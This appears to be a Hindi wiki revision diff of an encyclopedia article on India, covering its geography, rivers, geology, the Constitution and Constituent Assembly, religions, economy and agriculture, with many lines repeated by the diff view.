एकीकरण पूरा हो गया।
 
 
 
{{इतिहास तिथि क्रम सूची1}}
 
 
==भौतिक विशेषताएँ==
 
==भौतिक विशेषताएँ==
 
मुख्‍य भूभाग में चार क्षेत्र हैं, नामत: महापर्वत क्षेत्र, [[गंगा नदी|गंगा]] और [[सिंधु नदी]] के मैदानी क्षेत्र और मरूस्‍थली क्षेत्र और दक्षिणी प्रायद्वीप।
 
मुख्‍य भूभाग में चार क्षेत्र हैं, नामत: महापर्वत क्षेत्र, [[गंगा नदी|गंगा]] और [[सिंधु नदी]] के मैदानी क्षेत्र और मरूस्‍थली क्षेत्र और दक्षिणी प्रायद्वीप।
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*उत्तर-पूर्व दार्जिलिंग  
 
*उत्तर-पूर्व दार्जिलिंग  
 
*कल्‍पना (किन्‍नौर) के उत्तर - पूर्व में सतलुज घाटी में शिपकी ला दर्रा
 
*कल्‍पना (किन्‍नौर) के उत्तर - पूर्व में सतलुज घाटी में शिपकी ला दर्रा
 
पर्वतीय दीवार लगभग 2,400 कि.मी. की दूरी तक फैली है, जो 240 कि.मी. से 320 कि.मी. तक चौड़ी है। पूर्व में भारत तथा [[म्यांमार]] और भारत एवं [[बांग्लादेश]] के बीच में पहाड़ी श्रृंखलाओं की ऊंचाई बहुत कम है। लगभग पूर्व से पश्चिम तक फैली हुई गारो, खासी, जैंतिया और नगा पहाडियाँ उत्तर से दक्षिण तक फैली मिज़ो तथा रखाइन पहाडियों की श्रृंखला से जा मिलती हैं।
 
 
मरुस्‍थली क्षेत्र को दो भागों में बाँटा जा सकता है बड़ा मरुस्‍थल कच्‍छ के रण की सीमा से लुनी नदी के उत्‍तरी ओर आगे तक फैला हुआ है। [[राजस्थान]] सिंध की पूरी सीमा इससे होकर गुजरती है। छोटा मरुस्‍थल लुनी से [[जैसलमेर]] और [[जोधपुर]] के बीच उत्‍तरी भूभाग तक फैला हुआ बड़े और छोटे मरुस्‍थल के बीच का क्षेत्र बिल्‍कुल ही बंजर है जिसमें चूने के पत्‍थर की पर्वत माला द्वारा पृथक किया हुआ पथरीला भूभाग है।
 
 
पर्वत समूह और पहाड़ी श्रृंखलाएँ जिनकी ऊँचाई 460 से 1,220 मीटर है, प्रायद्वीपीय पठार को [[गंगा]] और [[सिंधु नदी|सिंधु]] के मैदानी क्षेत्रों से अलग करती हैं। इनमें प्रमुख हैं अरावली, विंध्‍य, सतपुड़ा, मैकाला और अजन्‍ता। इस प्रायद्वीप की एक ओर पूर्व घाट दूसरी ओर पश्चिमी घाट है जिनकी ऊँचाई सामान्‍यत: 915 से 1,220 मीटर है,  कुछ स्‍थानों में 2,440 मीटर से अधिक ऊँचाई है। पश्चिमी घाटों और अरब सागर के बीच एक संकीर्ण तटवर्ती पट्टी है जबकि पूर्व घाट और बंगाल की खाड़ी के बीच का विस्‍तृत तटवर्ती क्षेत्र है। पठार का दक्षिणी भाग नीलगिरी पहाड़ियों द्वारा निर्मित है जहाँ पूर्वी और पश्चिमी घाट मिलते हैं। इसके आगे इलायची की पहाडियाँ पश्चिमी घाट के विस्‍तारण के रुप में मानी जा सकती हैं।
 
  
 
==भूगर्भीय संरचना==
 
==भूगर्भीय संरचना==
भू‍वैज्ञानिक क्षेत्र व्‍यापक रुप से भौतिक विशेषताओं का पालन करते हैं और इन्‍हें तीन क्षेत्रों के समूह में रखा जा सकता है:  
+
{{Main|भारत का भूगोल}}
*हिमाचल पर्वत श्रृंखला और उनके संबद्ध पर्वत समूह
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भारत के भू‍वैज्ञानिक क्षेत्र व्‍यापक रुप से भौतिक विशेषताओं का पालन करते हैं और इन्‍हें मुख्यत: तीन क्षेत्रों के समूह में रखा जा सकता है:  
*भारत-गंगा मैदान क्षेत्र
+
# [[हिमालय]] पर्वत श्रृंखला और उनके संबद्ध पर्वत समूह।
*प्रायद्वीपीय ओट
+
# भारत-गंगा मैदान क्षेत्र।
 
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# [[प्रायद्वीप|प्रायद्वीपीय क्षेत्र]]
उत्‍तर में हिमाचलय पर्वत क्षेत्र और पूर्व में नागालुशाई पर्वत, पर्वत निर्माण गतिविधि के क्षेत्र है। इस क्षेत्र का अधिकांश भाग जो वर्तमान समय में विश्‍व का सार्वधिक सुंदर पर्वत दृश्‍य प्रस्‍तुत करता है, 60 करोड़ वर्ष पहले समुद्री क्षेत्र में था। 7 करोड़ वर्ष पहले शुरु हुए पर्वत-निर्माण गतिविधियों की श्रृंखला में तलछटें और आधार चट्टानें काफ़ी ऊँचाई तक पहुँच गई। आज हम जो इन पर उभार देखते हैं, उनको उत्‍पन्‍न करने में अपक्षय और अपरदक ने कार्य किया। भारत-गंगा के मैदानी क्षेत्र एक जलोढ़ भूभाग हैं जो दक्षिण के प्रायद्वीप से उत्‍तर में हिमाचल को अलग करते हैं।
+
{{आँकड़े एक झलक}}
 
 
प्रायद्वीप सापेक्ष स्थिरता और कभी-कभार भूकंपीय परेशानियों का क्षेत्र है। 380 करोड़ वर्ष पहले के प्रारंभिक काल की अत्‍याधिक कायांतरित चट्टानें इस क्षेत्र में पायी जाती हैं, बाक़ी क्षेत्र गोंदवाना के तटवर्ती क्षेत्र से घिरा है, दक्षिण में सीढ़ीदार रचना और छोटी तलछटें लावा के प्रवाह से निर्मित हैं।
 
 
 
==नदियाँ==
 
{{ॠग्वैदिककालीन नदियाँ सूची1}}
 
भारत की नदियों को चार समूहों में वर्गीकृत किया जा सकता है जैसे :-
 
*हिमाचल से निकलने वाली नदियाँ
 
*दक्षिण से निकलने वाली नदियाँ
 
*तटवर्ती नदियाँ
 
*अंतर्देशीय नालों से द्रोणी क्षेत्र की नदियाँ
 
===<u>हिमालय से निकलने वाली नदियाँ</u>===
 
हिमालय से निकलने वाली नदियाँ बर्फ़ और ग्‍लेशियरों के पिघलने से बनी हैं अत: इनमें पूरे वर्ष के दौरान निरन्‍तर प्रवाह बना रहता है। मॉनसून माह के दौरान हिमालय क्षेत्र में बहुत अधिक वृष्टि होती है और नदियाँ बारिश पर निर्भर हैं अत: इसके आयतन में उतार चढ़ाव होता है। इनमें से कई अस्‍थायी होती हैं। तटवर्ती नदियाँ, विशेषकर पश्चिमी तट पर, लंबाई में छोटी होती हैं और उनका सीमित जलग्रहण क्षेत्र होता है। इनमें से अधिकांश अस्‍थायी होती हैं। पश्चिमी [[राजस्थान]] के अंतर्देशीय नाला द्रोणी क्षेत्र की कुछ्‍ नदियाँ हैं। इनमें से अधिकांश अस्‍थायी प्रकृति की हैं।
 
[[चित्र:Sindhu-River-1.jpg|thumb|left|250px|[[सिन्धु नदी]]<br />Sindhu river]]
 
हिमाचल से निकलने वाली नदी की मुख्‍य प्रणाली सिंधु और गंगा ब्रहमपुत्र मेघना नदी की प्रणाली की तरह है।
 
 
 
====<u>सिंधु नदी</u>====
 
विश्‍व की महान, नदियों में एक है, [[तिब्बत]] में मानसरोवर के निकट से निकलती है और भारत से होकर बहती है और तत्‍पश्‍चात् [[पाकिस्तान]] से हो कर और अंतत: कराची के निकट [[अरब सागर]] में मिल जाती है। भारतीय क्षेत्र में बहने वाली इसकी सहायक नदियों में [[सतलुज नदी|सतलुज]] (तिब्‍बत से निकलती है), [[व्यास नदी|व्‍यास]], [[रावी नदी|रावी]], [[चिनाब नदी|चिनाब]], और [[झेलम नदी|झेलम]] है।
 
[[चित्र:Ganga-Varanasi.jpg|thumb|250px|[[वाराणसी]] में [[गंगा नदी]] के घाट<br /> Ghats of Ganga River in Varanasi]]
 
 
 
====<u>गंगा</u>====
 
ब्रह्मपुत्र मेघना एक अन्‍य महत्‍वपूर्ण प्रणाली है जिसका उप द्रोणी क्षेत्र [[भागीरथी नदी|भागीरथी]] और [[अलकनंदा नदी|अलकनंदा]] में हैं, जो देवप्रयाग में मिलकर [[गंगा]] बन जाती है। यह [[उत्तरांचल]], [[उत्तर प्रदेश]], [[बिहार]] और [[पश्चिम बंगाल|प.बंगाल]] से होकर बहती है। राजमहल की पहाडियों के नीचे भागीरथी नदी, जो पुराने समय में मुख्‍य नदी हुआ करती थी, निकलती है जबकि पद्भा पूरब की ओर बहती है और [[बांग्लादेश]] में प्रवेश करती है।
 
=====<u>सहायक नदियाँ</u>=====
 
[[चित्र:Yamuna-Mathura-2.jpg|thumb|left|250px|[[यमुना नदी]]<br /> River Yamuna]]
 
[[यमुना नदी|यमुना]], [[रामगंगा नदी|रामगंगा]], [[घाघरा नदी|घाघरा]], [[गंडक नदी|गंडक]], [[कोसी नदी|कोसी]], [[महानदी]], और [[सोन नदी|सोन]]; गंगा की महत्‍वपूर्ण सहायक नदियाँ है। [[चंबल नदी|चंबल]] और [[बेतवा नदी|बेतवा]] महत्‍वपूर्ण उप सहायक नदियाँ हैं जो गंगा से मिलने से पहले यमुना में मिल जाती हैं। [[पद्मा नदी|पद्मा]] और [[ब्रह्मपुत्र नदी|ब्रह्मपुत्र]] [[बांग्लादेश]] में मिलती है और पद्मा अथवा गंगा के रुप में बहती रहती है।
 
 
 
====<u>ब्रह्मपुत्र</u>====
 
ब्रह्मपुत्र [[तिब्बत]] से निकलती है, जहाँ इसे सांगणो कहा जाता है और भारत में [[अरुणाचल प्रदेश]] तक प्रवेश करने तथा यह काफ़ी लंबी दूरी तय करती है, यहाँ इसे दिहांग कहा जाता है। पासी घाट के निकट देबांग और लोहित [[ब्रह्मपुत्र नदी]] से मिल जाती है और यह संयुक्‍त नदी पूरे [[असम]] से होकर एक संकीर्ण घाटी में बहती है। यह घुबरी के अनुप्रवाह में [[बांग्लादेश]] में प्रवेश करती है।
 
=====<u>सहायक नदियाँ</u>=====
 
भारत में ब्रह्मपुत्र की प्रमुख सहायक नदियाँ सुबसिरी, जिया भरेली, घनसिरी, पुथिभारी, पागलादिया और मानस हैं। बांग्‍लादेश में ब्रह्मपुत्र तिस्‍त आदि के प्रवाह में मिल जाती है और अंतत: गंगा में मिल जाती है। मेघना की मुख्‍य नदी बराक नदी मणिपुर की पहाडियों में से निकलती है। इसकी महत्‍वपूर्ण सहायक नदियाँ मक्‍कू, ट्रांग, तुईवई, जिरी, सोनई, रुक्‍वी, कचरवल, घालरेवरी, लांगाचिनी, महुवा और जातिंगा हैं। बराक नदी बांग्‍लादेश में भैरव बाजार के निकट गंगा-‍ब्रह्मपुत्र के मिलने तक बहती रहती है।
 
 
 
दक्‍कन क्षेत्र में अधिकांश नदी प्रणालियाँ सामान्‍यत पूर्व दिशा में बहती हैं और बंगाल की खाड़ी में मिल जाती हैं।
 
 
 
गोदावरी, कृष्‍णा, कावेरी, महानदी, आदि पूर्व की ओर बहने वाली प्रमुख नदियाँ हैं और नर्मदा, ताप्‍ती पश्चिम की बहने वाली प्रमुख नदियाँ है। दक्षिणी प्रायद्वीप में गोदावरी का दूसरी सबसे बड़ी नदी का द्रोणी क्षेत्र है जो भारत के क्षेत्र 10 प्रतिशत भाग है। इसके बाद कृष्‍णा नदी के द्रोणी क्षेत्र का स्‍थान है जबकि महानदी का तीसरा स्‍थान है। डेक्‍कन के ऊपरी भूभाग में नर्मदा का द्रोणी क्षेत्र है, यह अरब सागर की ओर बहती है, बंगाल की खाड़ी में गिरती हैं दक्षिण में कावेरी के समान आकार की है और परन्‍तु इसकी विशेषताएँ और बनावट अलग है।
 
 
 
कई प्रकार की तटवर्ती नदियाँ हैं जो अपेक्षाकृत छोटी हैं। ऐसी नदियों में काफ़ी कम नदियाँ-पूर्वी तट के डेल्‍टा के निकट समुद्र में मिलती है, जबकि पश्चिम तट पर ऐसी 600 नदियाँ है।
 
 
 
राजस्‍थान में ऐसी कुछ नदियाँ है जो समुद्र में नहीं मिलती हैं। ये खारे झीलों में मिल जाती है और रेत में समाप्‍त हो जाती हैं जिसकी समुद्र में कोई निकासी नहीं होती है। इसके अतिरिक्‍त कुछ मरुस्‍थल की नदियाँ होती है जो कुछ दूरी तक बहती हैं और मरुस्‍थल में लुप्‍त हो जाती है। ऐसी नदियों में लुनी और मच्‍छ, स्‍पेन, सरस्‍वती, बानस और घग्‍गर जैसी अन्‍य नदियाँ हैं।
 
 
 
====भारत की प्रमुख नदियों की सूची====
 
{{भारत की प्रमुख नदियाँ सूची1}}
 
 
 
{{भारत की नदियाँ}}
 
 
== भारत का संविधान ==
 
== भारत का संविधान ==
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{{Main|भारत का संविधान}}
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भारत का संविधान [[26 जनवरी]], 1950 को लागू हुआ। इसका निर्माण संविधान सभा ने किया था, जिसकी पहली बैठक 9 दिसम्बर, 1946 को हुई थी। संविधान सभा ने 26 नवम्बर, 1949 को संविधान को अंगीकार कर लिया था।
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संविधान सभा की पहली बैठक अविभाजित भारत के लिए बुलाई गई थी। 4 अगस्त, 1947 को संविधान सभा की बैठक पुनः हुई और उसके अध्यक्ष [[सच्चिदानन्द सिन्हा]] थे। सिन्हा के निधन के बाद [[डॉ. राजेन्द्र प्रसाद]] संविधान सभा के अध्यक्ष बने। फ़रवरी 1948 में संविधान का मसौदा प्रकाशित हुआ। 26 नवम्बर, 1949 को संविधान अन्तिम रूप में स्वीकृत हुआ और 26 जनवरी 1950 को लागू हुआ।
  
====<u>भारतीय संविधान की मांग</u>====
 
 
1885 में कांग्रेस के गठन के बाद से भारतीयों में राजनीतिक चेतना जागृत हुई और धीरे-धीरे भारतीयों के मन में यह धारणा बनने लगी की भारत के लोग स्वयं अपने राजनीतिक भविष्य का निर्णय करें। इस धारणा को सर्वप्रथम अभिव्यक्ति 1895 में उस "स्वराज्य विधेयक" में मिली, जिसे लोकमान्य बाल गंगाधर तिलक के निर्देशन में तैयार किया गया था। बाद में 1922 में महात्मा गांधी द्वारा यह उदगार व्यक्त किया गया कि "भारतीय संविधान भारतीयों की इच्छानुसार होगा"। महात्मा गांधी के इस उदगार में यह आशय निहित नहीं था कि भारत के संविधान का निर्माण भारतीयों के द्वारा किया आये। उनका केवल यह मत था कि भारतीयों की इच्छा को ध्यान में रखते हुए ब्रिटिश संसद भारतीय संविधान को पारित करे। महात्मा गांधी की इस मांग ने भारतीय नेताओं को भारतीय संविधान की मांग के लिए उत्प्रेरित किया। 1924 में मोतीलाल नेहरू द्वारा ब्रिटिश सरकार से यह मांग की गयी कि भारतीय संविधान के निर्माण के लिए संविधान सभा का गठन किया जाए। इसके बाद संविधान सभा के विचार का औपचारिक रूप से प्रतिपादन साम्यवादी नेता एम0 एन0 राय द्वारा किया गया, जिसे 1934 में जवाहर लाल नेहरू ने मूर्त रूप प्रदान किया। नेहरू जी ने कहा कि यदि यह स्वीकार किया जाता है कि भारत के भाग्य की एकमात्र निर्णायक भारतीय जनता है, तो भारतीय जनता को अपना संविधान निर्माण करने की पूर्ण स्वतंत्रता होनी चाहिए।
 
 
भारत का संविधान 26 जनवरी, 1950 को लागू हुआ। इसका निर्माण संविधान सभा ने किया था, जिसकी पहली बैठक 9 दिसम्बर, 1946 को हुई थी। संविधान सभा ने 26 नवम्बर, 1949 को संविधान को अंगीकार कर लिया था।
 
संविधान सभा की पहली बैठक अविभाजित भारत के लिए बुलाई गई थी। 4 अगस्त, 1947 को संविधान सभा की बैठक पुनः हुई और उसके अध्यक्ष सच्चिदानन्द सिन्हा थे। सिन्हा के निधन के बाद डॉ0 राजेन्द्र प्रसाद संविधान सभा के अध्यक्ष बने। फरवरी 1948 में संविधान का मसौदा प्रकाशित हुआ। 26 नवम्बर, 1949 को संविधान अन्तिम रूप में स्वीकृत हुआ और 26 जनवरी 1950 को लागू हुआ।
 
 
भारत का संविधान ब्रिटेन की संसदीय प्रणाली के नमूने पर है, किन्तु एक विषय में यह उससे भिन्न है, ब्रिटेन में संसद सर्वोच्च है। भारत में संसद नहीं; बल्कि संविधान सर्वोच्च है। भारत में न्यायालयों को भारत की संसद द्वारा पास किए गए क़ानून की संवैधानिकता पर फ़ैसला करने का अधिकार प्राप्त है।
 
 
====<u>भारतीय संविधान सभा</u>====
 
 
भारतीय संविधान सभा की कार्यवाही [[13 दिसम्बर]], सन [[1946]] ई. को [[जवाहर लाल नेहरू]] द्वारा पेश किये गए उद्देश्य प्रस्ताव के साथ प्रारम्भ हुई।
 
 
{| width="100%" cellspacing="5"
 
|-valign="top"
 
| style="width:60%"|
 
{| class="wikitable" border="1" width="100%"
 
|+ संविधान सभा के प्रमुख सदस्य
 
|-
 
! कांग्रेसी सदस्य
 
! ग़ैर कांग्रेसी सदस्य
 
! महिला सदस्य
 
! सदस्यता अस्वीकार करने वाले व्यक्ति
 
|-
 
| [[जवाहरलाल नेहरू|पं जवाहर लाल नेहरू]]
 
| डॉ. सर्वपल्ली राधाकृष्णन
 
| [[सरोजनी नायडू]]
 
| जय प्रकाश नारायण
 
|-
 
| सरदार वल्लभ भाई पटेल
 
| डॉ. श्यामा प्रसाद मुखर्जी
 
| श्रीमती हंसा मेहता
 
| तेज बहादुर सप्रू
 
|-
 
| [[डॉ. राजेंद्र प्रसाद]]
 
| एन. गोपालास्वामी आयंगर
 
|
 
|
 
|-
 
| मौलाना अबुल कलाम आज़ाद
 
| पं. हृदयनाथ कुंजरू
 
|
 
|
 
|-
 
| चक्रवर्ती राजगोपालाचारी
 
| सर अल्लादि कृष्णास्वामी अय्यर
 
|
 
|
 
|-
 
| आचार्य जे.बी. कृपलानी
 
| टेकचंद बख्शी
 
|
 
|
 
|-
 
| पं. गोविंद वल्लभ पंत
 
| प्रो. के. टी. शाह
 
|
 
|
 
|-
 
| राजर्षि पुरुषोत्तम दास टण्डन
 
| [[डॉ. भीमराव अम्बेडकर]]
 
|
 
|
 
|-
 
| बाल गोविंद खेर
 
| डॉ. जयकर
 
|
 
|
 
|-
 
| के. एम. मुंशी
 
|
 
|
 
|
 
|-
 
| टी. टी. कृष्णामाचारी
 
|
 
|
 
|
 
|}
 
| style="width:40%"|
 
{| class="wikitable" border="1" width="100%"
 
|+ संविधान सभा की प्रमुख समितियां
 
|-
 
! समिति
 
! अध्यक्ष
 
|-
 
| नियम समिति
 
| [[डॉ. राजेंद्र प्रसाद]]
 
|-
 
| संघ शक्ति समिति
 
| [[जवाहरलाल नेहरू|पं जवाहर लाल नेहरू]]
 
|-
 
| संघ संविधान समिति
 
| [[जवाहरलाल नेहरू|पं जवाहर लाल नेहरू]]
 
|-
 
| प्रांतीय संविधान समिति
 
| सरदार वल्लभ भाई पटेल
 
|-
 
| संचालन समिति
 
| [[डॉ. राजेंद्र प्रसाद]]
 
|-
 
| प्रारूप समिति
 
| [[डॉ. भीमराव अम्बेडकर]]
 
|-
 
| झण्डा समिति
 
| जे. बी. कृपलानी
 
|-
 
| राज्य समिति
 
| [[जवाहरलाल नेहरू|पं जवाहर लाल नेहरू]]
 
|-
 
| परामर्श समिति
 
| सरदार वल्लभ भाई पटेल
 
|-
 
| सर्वोच्च न्यायालय समिति
 
| एस. वारदाचारियार
 
|-
 
| मूल अधिकार उपसमिति
 
| जे. बी. कृपलानी
 
|-
 
| अल्पसंख्यक उपसमिति
 
| एच. सी. मुखर्जी
 
|}
 
|}
 
==राज्यों का गठन एक झलक==
 
{{राज्यों का गठन सूची1}}
 
 
{{राज्य और के. शा. प्र.}}
 
 
==धर्म==
 
==धर्म==
{{highleft}}[[चित्र:Ashoka.jpg|100px|right]]हर दशा में दूसरे सम्प्रदायों का आदर करना ही चाहिए। ऐसा करने से मनुष्य अपने सम्प्रदाय की उन्नति और दूसरे सम्प्रदायों का उपकार करता है। इसके विपरीत जो करता है वह अपने सम्प्रदाय की (जड़) काटता है और दूसरे सम्प्रदायों का भी अपकार करता है। क्योंकि जो अपने सम्प्रदाय की भक्ति में आकर इस विचार से कि मेरे सम्प्रदाय का गौरव बढ़े, अपने सम्प्रदाय की प्रशंसा करता है और दूसरे सम्प्रदाय की निन्दा करता है, वह ऐसा करके वास्तव में अपने सम्प्रदाय को ही गहरी हानि पहुँचाता है। इसलिए समवाय (परस्पर मेलजोल से रहना) ही अच्छा है अर्थात् लोग एक-दूसरे के धर्म को ध्यान देकर सुनें और उसकी सेवा करें। - सम्राट [[अशोक]] महान<ref>गिरनार का बारहवाँ शिलालेख "अशोक के धर्म लेख" से पृष्ठ सं- 31</ref>{{highclose}}
+
{{Main|धर्म}}
भारतीय संस्कृति में विभिन्नता उसका भूषण है। यहां हिन्दू धर्म के अगणित रूपों और संप्रदायों के अतिरिक्त, [[बौद्ध]], [[जैन]], [[सिक्ख धर्म|सिक्ख]], [[इस्लाम धर्म|इस्लाम]], [[ईसाई धर्म|ईसाई]], यहूदी आदि धर्मों की विविधता का भी एक सांस्कृतिक समायोजन देखने को मिलता है। [[हिन्दू धर्म]] के विविध सम्प्रदाय एवं मत सारे देश में फैले हुए हैं, जैसे [[वैदिक धर्म]], [[शैव सम्प्रदाय|शैव]], [[वैष्णव धर्म|वैष्णव]], [[शाक्त सम्प्रदाय|शाक्त]] आदि पौराणिक धर्म, राधा-बल्लभ संप्रदाय, श्री संप्रदाय, [[आर्य समाज]], समाज आदि। परन्तु इन सभी मतवादों में सनातन धर्म की एकरसता खण्डित न होकर विविध रूपों में गठित होती है। यहां के निवासियों में भाषा की विविधता भी इस देश की मूलभूत सांस्कृतिक एकता के लिए बाधक ने होकर साधक प्रतीत होती है।  
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भारतीय संस्कृति में विभिन्नता उसका भूषण है। यहाँ हिन्दू धर्म के अगणित रूपों और संप्रदायों के अतिरिक्त, [[बौद्ध]], [[जैन]], [[सिक्ख धर्म|सिक्ख]], [[इस्लाम धर्म|इस्लाम]], [[ईसाई धर्म|ईसाई]], यहूदी आदि धर्मों की विविधता का भी एक सांस्कृतिक समायोजन देखने को मिलता है। [[हिन्दू धर्म]] के विविध सम्प्रदाय एवं मत सारे देश में फैले हुए हैं, जैसे [[वैदिक धर्म]], [[शैव सम्प्रदाय|शैव]], [[वैष्णव धर्म|वैष्णव]], [[शाक्त सम्प्रदाय|शाक्त]] आदि पौराणिक धर्म, राधा-बल्लभ संप्रदाय, श्री संप्रदाय, [[आर्य समाज]], समाज आदि। परन्तु इन सभी मतवादों में सनातन धर्म की एकरसता खण्डित न होकर विविध रूपों में गठित होती है। यहाँ के निवासियों में भाषा की विविधता भी इस देश की मूलभूत सांस्कृतिक एकता के लिए बाधक होकर साधक प्रतीत होती है।  
<div style="float:right; width:30%; border:thin solid #aaaaaa; margin:10px">
 
{| class="wikitable" border="1" width="100%"
 
|+विभिन्न धर्मावलम्बियों की संख्या (भारत)
 
|-
 
! धर्म
 
! संख्या (लाख)
 
! कुल जनसंख्या का प्रतिशत
 
|-
 
| [[हिन्दू धर्म|हिन्दू]]
 
| 8,275
 
| 80.5
 
|-
 
| [[मुसलमान|मुस्लिम]]
 
| 1,381
 
| 13.4
 
|-
 
| [[ईसाई धर्म|ईसाई]]
 
| 240
 
| 2.33
 
|-
 
| [[सिख]]
 
| 192
 
| 1.84
 
|-
 
| [[बौद्ध]]
 
| 79.5
 
| 0.8
 
|-
 
| [[जैन]]
 
| 42.5
 
| 0.4
 
|-
 
| अन्य
 
| 66.3
 
| 1.8
 
|-
 
| कुल
 
| 10,286
 
| 100.0
 
|}
 
</div>
 
आध्यात्मिकता हमारी संस्कृति का प्राणतत्त्व है। इनमें ऐहिक अथवा भौतिक सुखों की तुलना में आत्मिक अथवा पारलौकिक सुख के प्रति आग्रह देखा जा सकता है। चतुराश्रम-व्यवस्था (अर्थात ब्रह्मचर्य, गृहस्थ तथा संन्यास आश्रम) तथा पुरुषार्थ-चतुष्टम (धर्म, अर्थ, काम तथा मोक्ष) का विधान मनुष्य की आध्यात्मिक साधना के ही प्रतीक हैं। इसमें जीवन का मुख्य ध्येय धर्म अर्थात मूल्यों का अनुरक्षण करते हुए मोक्ष माना गया है। भारतीय आध्यात्मिकता में धर्मान्धता को महत्त्व नहीं दिया गया। इस संस्कृति की मूल विशेषता यह रही है कि व्यक्ति अपनी परिस्थितियों के अनुरूप मूल्यों की रक्षा करते हुए कोई भी मत, विचार अथवा धर्म अपना सकता है यही कारण है कि यहां समय-समय पर विभिन्न धर्मों को उदय तथा साम्प्रदायिक विलय होता रहा है। धार्मिक सहिष्णुता इसमें कूट-कूट कर भरी हुई है। वस्तुत: हमारी संस्कृति में ग्रहण-शीलता की प्रवृत्ति रही है। इसमें प्रतिकूल परिस्थितियों को अपने अनुकूल बनाकर अपने में समाहित कर लेने की अद्भुत शक्ति है। ऐतिहासिक काल से लेकर मध्य काल तक भारत में विभिन्न धर्मों एवं जातियों का भारत पर आक्रमण एवं शासन स्थापित हुआ। परन्तु भारतीय संस्कृति की ग्रहणशील प्रकृति के कारण समयान्तर में वे सब इसमें समाहित हो गये।
 
 
 
भारतीय संस्कृति की महत्वपूर्ण विरासत इसमें अन्तर्निहित सहिष्णुता की भावना मानी जा सकती है। यद्यपि प्राचीन भारत में अनेक धर्म एवं संप्रदाय थे, परन्तु उनमें धर्मान्धता तथा संकुचित मनोवृत्ति का अभाव था। अतीत इस बात का साक्षी है कि हमारे देश में धर्म के नाम पर अत्याचार और रक्तपात नहीं हुआ है। भारतीय मनीषियों ने ईश्वर को एक, सर्वव्यापी, सर्वकल्याणकारी, सर्वशक्तिमान मानते हुए विभिन्न धर्मो, मतों और संप्रदायों को उस परम ईश तक पहुँचने का भिन्न-भिन्न मार्ग प्रतिपादित किया है। (एक सद्विप्रा: बहुधा बदन्ति)। [[गीता]] में [[कृष्ण|श्रीकृष्ण]] भी [[अर्जुन]] को यही उपदेश देते हैं कि संसार में सभी लोग अनेक प्रकार से मेरे ही मार्ग का अनुसरण करते हैं। जैनियों का स्याद्वाद, [[अशोक]] के शिलालेख आदि भी यही बात दुहराते हैं। इसी भावना को [[महात्मा गांधी|राष्ट्रपिता महात्मा गांधी]] ने राष्ट्रीय एकता जागृत करने के लिए देश के कोने-कोने में गुंजारित किया था- ‘‘ईश्वर अल्ला तेरे नाम। सबको सम्मति दे भगवान।’’ भारतीय विचारकों की सर्वांगीणता तथा सार्वभौमिकता की भावना को सतत बल प्रदान किया है। इसमें अपनी सुख, शान्ति एवं उन्नति के साथ ही समस्त विश्व के कल्याण की कामना की गई है। हमारे प्रबुद्ध मनीषियों ने सम्पूर्ण विश्व को एक परिवार मानकर ‘विश्व बन्धुत्व’ एवं ‘वसुधैव कुटुम्भकम्’ की भावना को उजागर किया है-
 
 
 
सर्वे भवन्तु सुखिन: सर्वेसन्तु निरामया:। <br />
 
सर्वे भद्राणि पश्यन्तु मा कश्चित् दुखभाग भवेत॥
 
  
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==अर्थव्यवस्था==
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{{Main|भारतीय अर्थव्यवस्था}}
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भारतीय अर्थव्‍यवस्‍था क्रय शक्ति समानता के आधार पर दुनिया में चौथी सबसे बड़ी अर्थव्‍यवस्‍था है। यह विशाल जनशक्ति आधार, विविध प्राकृतिक संसाधनों और सशक्‍त वृहत अर्थव्‍यवस्‍था के मूलभूत तत्‍वों के कारण व्‍यवसाय और निवेश के अवसरों के सबसे अधिक आकर्षक गंतव्‍यों में से एक है। वर्ष 1991 में आरंभ की गई आर्थिक सुधारों की प्रक्रिया से सम्‍पूर्ण अर्थव्‍यवस्‍था में फैले नीतिगत ढाँचे के उदारीकरण के माध्‍यम से एक निवेशक अनुकूल परिवेश मिलता रहा है। भारत को आज़ाद हुए {{#expr:{{CURRENTYEAR}}-1947}} साल हो चुके हैं और इस दौरान भारतीय अर्थव्यवस्था की दशा में ज़बरदस्त बदलाव आया है। औद्योगिक विकास ने अर्थव्यवस्था का रूप बदल दिया है। आज भारत की गिनती दुनिया की सबसे तेज़ी से बढ़ती अर्थव्यवस्थाओं में होती है। विश्व की अर्थव्यवस्था को चलाने में भारत की भूमिका बढ़ती जा रही है। आईटी सॅक्टर में पूरी दुनिया भारत का लोहा मानती है।
 
==कृषि==
 
==कृषि==
{{कृषि सूची1}}
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{{Main|कृषि}}
कृषि भारत की अर्थव्यवस्था की रीढ़ मानी जाती है। विभिन्न पंचवर्षीय योजनाओं द्वारा चलाए जा रहे विभिन्न कार्यक्रमों एवं प्रयासों से कृषि को राष्ट्रीय अर्थव्यवस्था में गरिमापूर्ण दर्जा मिला है। कृषि क्षेत्रों में लगभग 64% श्रमिकों को रोजगार मिला हुआ है। 1950-51 में कुल घरेलू उत्पाद में कृषि का हिस्सा 59.2% था जो घटकर 1982-83 में 36.4% और 1990-91 में 34.9% तथा 2001-2002 में 25% रह गया। यह 2006-07 की अवधि के दौरान औसत आधार पर घटकर 18.5% रह गया। दसवीं योजना (2002-2007) के दौरान समग्र सकल घरेलू उत्पाद की औसत वार्षिक वृद्धि पद 7.6% थी जबकि इस दौरान कृषि तथा सम्बद्ध क्षेत्र की वार्षिक वृद्धि दर 2.3% रही। 2001-02 से प्रारंभ हुई नव सहस्त्राब्दी के प्रथम 6 वर्षों में 3.0% की वार्षिक सामान्य औसत वृद्धि दर 2003-04 में 10% और 2005-06 में 6% की रही।  
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कृषि भारत की अर्थव्यवस्था की रीढ़ मानी जाती है। विभिन्न पंचवर्षीय योजनाओं द्वारा चलाए जा रहे विभिन्न कार्यक्रमों एवं प्रयासों से कृषि को राष्ट्रीय अर्थव्यवस्था में गरिमापूर्ण दर्जा मिला है। कृषि क्षेत्रों में लगभग 64% श्रमिकों को रोज़गार मिला हुआ है। 1950-51 में कुल घरेलू उत्पाद में कृषि का हिस्सा 59.2% था जो घटकर 1982-83 में 36.4% और 1990-91 में 34.9% तथा 2001-2002 में 25% रह गया। यह 2006-07 की अवधि के दौरान औसत आधार पर घटकर 18.5% रह गया। दसवीं योजना (2002-2007) के दौरान समग्र सकल घरेलू उत्पाद की औसत वार्षिक वृद्धि पद 7.6% थी जबकि इस दौरान कृषि तथा सम्बद्ध क्षेत्र की वार्षिक वृद्धि दर 2.3% रही। 2001-02 से प्रारंभ हुई नव सहस्त्राब्दी के प्रथम 6 वर्षों में 3.0% की वार्षिक सामान्य औसत वृद्धि दर 2003-04 में 10% और 2005-06 में 6% की रही।  
 
 
